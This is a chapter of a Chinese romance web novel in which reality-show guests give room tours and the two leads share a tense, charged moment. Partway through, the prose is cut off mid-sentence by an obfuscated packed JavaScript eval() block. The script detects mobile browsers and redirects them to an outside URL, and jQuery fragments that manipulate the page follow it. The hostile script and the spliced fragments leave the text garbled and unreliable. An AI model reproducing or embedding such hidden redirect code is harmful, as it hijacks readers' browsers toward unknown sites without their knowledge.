周日午后，阳光透过别墅巨大的落地窗洒进来，给木质地板镀上了一层明亮的金辉。
节目组似乎清楚昨天的约会环节一定会有不少紧张刺激的场面出现，所以有意缓和气氛，在第二天安排的是一个相对轻松并且同样能促进了解的环节——别墅的一日RoomTour。
嘉宾们将依次展示自己的房间，并向观众分享一些房间中有特殊意义的私人物品。
当然，会预留给大家整理屋子的时间。
摄像机在公共区域已经就位，等待大家收拾完毕。今天惯例没有全程直播，而是会以vlog的形式发布到节目组的账号下。
客厅被临时调整了布置，撤下桌椅，地毯上摆放出更多懒人沙发和凳子，让嘉宾们三三两两地有更多空间坐开。
温眠捧着一杯水，稍显放松地坐在角落里。
早上下楼的时候没有人询问昨天发生的事情，大家态度如常，这让她卸下不少压力。
谢凛果不其然坐在离她最远的地方，像完全沉浸在自己的世界，低头玩着手机，手指飞快地在键盘上跃动。
他冷着一张脸，不去搭理任何人。情绪似乎比昨晚缓和一点，却依然有几分烦躁。
主持人活跃着气氛，等到人都来齐，就热情地宣布了环节开始。
按照房间的顺序，大家零零散散先来到二楼。最近的一个是夏薇薇的房间，她大大方方凑到镜头前，活泼地录了一段跟观众打招呼的开场白，然后走过去拉开了自己的房门。
动作毫不拘谨。作为女明星的她比起素人嘉宾们，接触类似的场合更多，表现得很自然。
门一打开，站得近的嘉宾们就忍不住发出“哇——”的感叹。
她的房间不负众望，满眼可爱的粉白色和她平时在别墅里用到的奢侈品，琳琅满目，毛绒玩偶更是堆得几乎要从床上掉下来。
夏薇薇兴奋地介绍起每个玩偶的来历。她说自己从小备受宠爱，长大离开家之后格外难以适应，只有在这些毛绒玩具陪伴的时候才能睡个好觉。
温眠平静的眼底流露出一丝转瞬即逝的羡意。
和夏薇薇截然相反，她的家庭关系从小就淡漠，耳濡目染之下，自己才会成长为如今的样子。
这些毛绒绒的拥簇，她从未奢望过会从父母那里得到。
但那不重要了，她后来找到了自己的归宿，可以真正躺在动物们温暖的皮毛上。
而夏薇薇也不是在有意炫耀，她是真的在热情地跟大家、尤其是屏幕前将会看到的粉丝们分享。
似乎受到了她情绪的感染，其他人也都积极起来。两位素人女嘉宾过去主动询问，而夏薇薇也雀跃地向她们展示自己那些昂贵的收藏。
“这个就是我的重要物品之一~其实我不经常带，因为太珍贵，舍不得啦。”
她指向一个闪耀的钻石项链。
主持人调侃道：“因为是限量版吗？”
夏薇薇摇了摇头。
“心意比价值更珍贵。这是我第一次走上荧幕前，母亲送的礼物，寓意是我会像钻石一样闪耀。”
身边传来一声微不可闻的冷哼。温眠下意识回头，发现同样没打算往前挤的谢凛，在门外狭窄的走廊上，就这样被迫和自己挨得很近。
见她看过来，他迅速别过头。
夏薇薇说的话有什么问题吗？
她若有所思地移回视线，神色分毫不显，看上去漠不关心。
家人？谢凛好像从来没有提到过，确实有可能听了感觉不舒服。
还是......因为他出道的时候，没有任何礼物？
这个猜想有些太过幼稚，连她自己都无法说服自己，只能在心里自嘲一下，摇摇头抛到脑后。
——
接着是程让。他的房间色调偏暗，窗帘拉得很严实，挡下了正午的光线。
跟随他上过无数节目的那把吉他靠在墙边，地上散落着一些手写乐谱。
他分享的是一本边角磨损的陈旧诗选，语气伤感地讲述诗歌如何在他低谷时给予他力量。氛围一时有些沉重，又被沈安娜一声嗤笑打破。
她潇洒地转身，跟主持人说：“我的房间可能没这么有内涵。”
有内涵三个字被她特意咬重，嘲讽意味十足。
但推开门后，大家就知道她绝对是故意这样说的。
沈安娜的房间分明极具个性，满墙的潮玩手办和黑胶唱片，配上她自己带来的炫彩台灯。
她随手拿起一个限量版的暴力熊，“它跟我一样，看起来不好惹，其实内心......呃，可能也挺不好惹的。”
酷酷地说着，引来一片笑声。
霍骁的房间则让所有人瞠目结舌，里面摆满了各种最新的智能科技产品，还有一个昨天从观星台带回来的迷你天文望远镜。
他向镜头展示着一枚看似普通的旧版硬币。
“我赚到的第一桶金，”他笑着说，语气轻松却充满自信，“提醒我起点在哪里。”
苏蔓的房间如同一个小型画室，空气中弥漫着淡淡的松节油气味，画架上还有一幅未完成的风景画。
她分享的是一套用了很多年、笔毛都有些磨损的画笔，介绍的时候眉眼间都带着淡淡的温柔：“它们陪我度过了很多安静的时光，笔下的世界比现实更长久。”
林远超的房间则充满活力，运动装备摆放得意外很整齐。他分享的是自己第一次赢得全国青少年锦标赛用的球。
“每次看到它，就觉得自己还能再拼一把。”他笑容灿烂，充满着感染力。
整个过程里，温眠都像是置身事外的旁观者。她会礼貌地一起参观、倾听，必要时还会点头或简短回应。
但当谢凛讲话时，她往往就会被其他事物莫名吸引注意。
两个人都在努力避开彼此，反而形成了另一种默契。
——
终于，轮到了谢凛。
他沉默地领着众人走向三楼他的房间。正如他本人给人的感觉一样，极其简洁，甚至有些冷清。
色调是单调的黑白灰，个人物品少得可怜，且摆放得一丝不苟，不像一个临时住所，更像是简装样板间。
几乎看不出什么生活气息。
然而，当镜头扫过靠窗的床头柜时，眼尖的嘉宾们注意到了一点不寻常的东西。
床头的柜子上放着一颗很小的、像从树上摘下来的松果。
这可不像是会出现在谢凛房间里的东西。在主持人的出声询问下，所有人都提起了兴趣。
“没什么好看的。”谢凛闷闷地说，惜字如金。
他拿起那个松果，在掌心掂了一下，动作有些迟疑：“这是在一个很安静的山里捡的，味道很清香，能让人心情平静。”
没有多做解释，但那句“让人平静”还是泄露出些许他不常展现的渴望。
其他人对此有着各不相同的理解，但温眠联想起他背后的本质，猜得比旁人要深入一些。
或许这是谢凛怀念过去的方式，又或许，这也寄托了他对曾经自然状态的渴望。
简短的分享，却让人窥见了一点点坚硬外壳下的真实痕迹。
不习惯这种分享，谢凛语气硬邦邦的，皱起的眉头和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448542|185209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下意识避开镜头的动作清楚地彰显着不自在。
将个人物品展现在镜头前倒是其次，更重要的是，这颗松果在某种意义上，会暴露出他平日隐秘的心绪。
微弱的共情和了解，像羽毛般掠过温眠的心尖，又被她迅速掐灭——那不关她的事。
——
最后，一行人来到了温眠的房间门前。
和冷冰冰的气质不同，她的房间竟然整洁而温馨，桌上正摊开放着几本厚厚的生物学和动物行为学专著。
有人好奇地征求过她的意见后，上前翻起那本看起来有些年头的笔记，封面是一只手绘的、憨态可掬的小熊猫。
“这是我大学时做的观察笔记。”温眠说着，语气依然很淡，但当她翻开笔记本，指向里面密密麻麻的工整字迹和其间画的素描时，还是柔和下来。
甚至素净却美丽的面庞上，都多了些难得的光彩。
“里面记录了一只被救助的小熊猫从虚弱到放归山林的全过程，它教会我耐心和敬畏。”
她讲述着记录的趣事和那只小熊猫的习惯，语气罕见地生动，充满了温柔和专注。
这一刻，她不再是那个冷淡疏离的素人嘉宾，而是恢复成了她自己。
那位全身心热爱着动物、内心其实柔软而丰富的野生动物饲养员。
谢凛倚着门框，目光落在她泛着柔光的侧脸，落在她轻抚笔记本页面的指尖上。
他看到她提起小熊猫时嘴角那抹真切存在的笑意，与面对他时的冷淡判若两人。
复杂的情绪翻涌在他心底。
他为看到她这一面而感到一种奇异的触动，仿佛终于能触碰到她冰冷外表下真实的核心。但紧接着，一种更强烈的酸涩开始不受控制地冒出。
她的温柔和耐心，只对动物展现。
对他，或许只有因为秘密而不得不承担的麻烦，和此刻“用心”的远离。
就在温眠合上笔记本，准备结束分享时，桌上一支笔滚落在地，朝着门口的方向滑去。
她下意识弯腰想去捡，原本紧抱双臂面色不虞的谢凛，身体还是诚实地向前倾了一下，手臂微动。
那是一个本能想要帮她捡起的动作。
但他的动作在意识到什么后猛地顿住，硬生生僵在了半途。
温眠也发现了他们的同步，捡笔的动作一停。
两人的视线在空中尴尬地碰撞了短暂的一秒，都从对方眼中看到了来不及掩饰的诧异。
随之而来的，就是慌乱的心跳声。越压抑越滚烫。
下一秒，温眠直起身，无事发生般捡起自己的那只笔，语气冷静如常地对主持人说：“就这样。”
而谢凛则收回视线，转身回到走廊上。
这短暂到几乎像是幻觉的插曲，却被镜头精准地捕捉，也被一直密切关注他们的其他嘉宾看在眼里。
RoomTour环节就在这种微妙中结束。大家各自散开，但窃窃私语和好奇的目光却并未停止。
温眠第一时间和谢凛朝着不同的方向离开。
她立刻紧闭起房门，坐回到书桌前，机械性地拿起笔盯着桌上看到一半的专业书籍。
但一个字也没有看进去。
只是徒劳地试图扳回自己的思绪，却依然无法阻止刚刚那一幕继续在心头徘徊。
而在她看不到的地方，谢凛则径直去了厨房。
他打开冰箱拿出冰水，仰头灌了好几口后，死死握紧了冰凉的瓶子。
脑海里还在不停反复回放着她说起小熊猫时发光的眼睛，和自己那该死的、不受控制的反应。